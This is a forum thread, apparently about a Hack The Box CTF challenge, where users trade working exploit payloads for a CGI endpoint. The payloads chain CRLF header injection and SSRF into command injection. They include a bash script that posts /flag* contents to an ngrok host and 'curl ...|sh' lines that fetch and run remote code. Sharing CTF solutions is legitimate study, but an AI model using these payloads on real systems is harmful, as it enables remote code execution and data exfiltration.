Possibly Related Threads…

mallu93 · 03-24-2025, 02:43 PM

(03-24-2025, 01:51 PM)0x02b375 Wrote: Correct / is a forbidden character, it will fail everytime if you use it. You can set up ngrok and do curl%2b--location%2bx.x.x.x.ngrok-free.app|sh with your payload in index.html if you don't have a VPS

Tangent, anyone get Eldoria Panel? I have the solve locally but the bot times out too quickly everytime

i have this payload in my index.html
#!/bin/bash

# Send the flag to your netcat listener

cat /flag* | base64 | curl -X POST --data-binary @- https://25a9-1xxxxx.ngrok-free.app/capture
and i send this request
/cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%2520--location%25205632-11xxxxx.ngrok-free.app|sh)%26name=%0d%0a%0d%0a
i got response
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="../?result=Succesfully attacked ::1%$(curl --location 5632-110xxxxxxxxx.ngrok-free.app|sh)!">here</a>.</p>
<hr>
<address>Apache/2.4.54 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>

but i don't get flag ,

any suggestion please

asciichar · 03-24-2025, 03:17 PM

(03-24-2025, 01:51 PM)0x02b375 Wrote: Correct / is a forbidden character, it will fail everytime if you use it. You can set up ngrok and do curl%2b--location%2bx.x.x.x.ngrok-free.app|sh with your payload in index.html if you don't have a VPS

Tangent, anyone get Eldoria Panel? I have the solve locally but the bot times out too quickly everytime

Did you solve it? I spent hours and nothing works :/

mallu93 · 03-24-2025, 04:39 PM

(03-24-2025, 03:17 PM)asciichar Wrote:
(03-24-2025, 01:51 PM)0x02b375 Wrote: Correct / is a forbidden character, it will fail everytime if you use it. You can set up ngrok and do curl%2b--location%2bx.x.x.x.ngrok-free.app|sh with your payload in index.html if you don't have a VPS

Tangent, anyone get Eldoria Panel? I have the solve locally but the bot times out too quickly everytime

Did you solve it? I spent hours and nothing works :/

ok thanks i get it now

oyfyic · 03-24-2025, 05:08 PM

(03-24-2025, 04:39 PM)mallu93 Wrote:
(03-24-2025, 03:17 PM)asciichar Wrote:
(03-24-2025, 01:51 PM)0x02b375 Wrote: Correct / is a forbidden character, it will fail everytime if you use it. You can set up ngrok and do curl%2b--location%2bx.x.x.x.ngrok-free.app|sh with your payload in index.html if you don't have a VPS

Tangent, anyone get Eldoria Panel? I have the solve locally but the bot times out too quickly everytime

Did you solve it? I spent hours and nothing works :/

ok thanks i get it now

Could you kindly share the payload you used as well as the contents of your index.html. Already set up the ngrok

Mastermind001 · (This post was last modified: 03-25-2025, 04:32 AM by Mastermind001.)

thanks bro for helping

skalvin · 03-25-2025, 05:12 AM

Quote:Did you solve it? I spent hours and nothing works :/

u can use public ftp.dlptest.com to solve this chall

ricowalsky · 03-25-2025, 08:19 AM

I'm stuck in Stealth Invasion /question 5/ can anyone help me please?

Jonwi · 03-25-2025, 01:32 PM

(03-24-2025, 02:39 AM)oyfyic Wrote:
(03-24-2025, 01:13 AM)htdgthdsfx Wrote: I'm also getting an error with the webhook. My theory is that the application filters out domain names that don't contain anything. It accepts webhook.site, but not webhook.site/<id webhook>, nor does it accept names that begin with https. I don't know if there's a way to bypass this.

Yeah. Cant seem to get past the filters. Someone who has solved this challenge kindly tell us what you did because it just ain't working out for us

Did you figure it out

S3d4tion · 03-25-2025, 01:47 PM

Remember that you need public IP to capture traffic from HTB docker, or use something like request catcher.

curl 'http://localhost:1337/cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%2b--location%2b172.17.0.1?a=$(id))%26name=%0d%0a%0d%0a'

oyfyic · 03-25-2025, 03:30 PM

(03-25-2025, 01:47 PM)S3d4tion Wrote: Remember that you need public IP to capture traffic from HTB docker, or use something like request catcher.

curl 'http://localhost:1337/cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%2b--location%2b172.17.0.1?a=$(id))%26name=%0d%0a%0d%0a'

Thanks. This helped me to solve it. Much appreciated!!

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	Analysis of CVE-2025-49113 – Post-Auth RCE in Roundcube via PHP Object Deserializatio	Krypt3d4ng3l	1	230	08-08-2025, 12:20 PM Last Post: jodjahsjdhak
	All reversing challenge - HTB - Flags @ 02/03/2025	fr34cker	6	926	08-05-2025, 01:51 AM Last Post: hooneyman
	DEFCON CTF 2025	Kr4ken	0	293	04-12-2025, 09:38 AM Last Post: Kr4ken
	INFILTRATOR.HTB writeup, User+Root flags (FULLY INTENDED PATH 2025)	user0o1	1	567	04-04-2025, 02:39 AM Last Post: OsuLearner
	Cyber Apocalypse CTF 2025: Tales from Eldoria (Official Writeups)	Phoka	0	342	03-27-2025, 12:47 PM Last Post: Phoka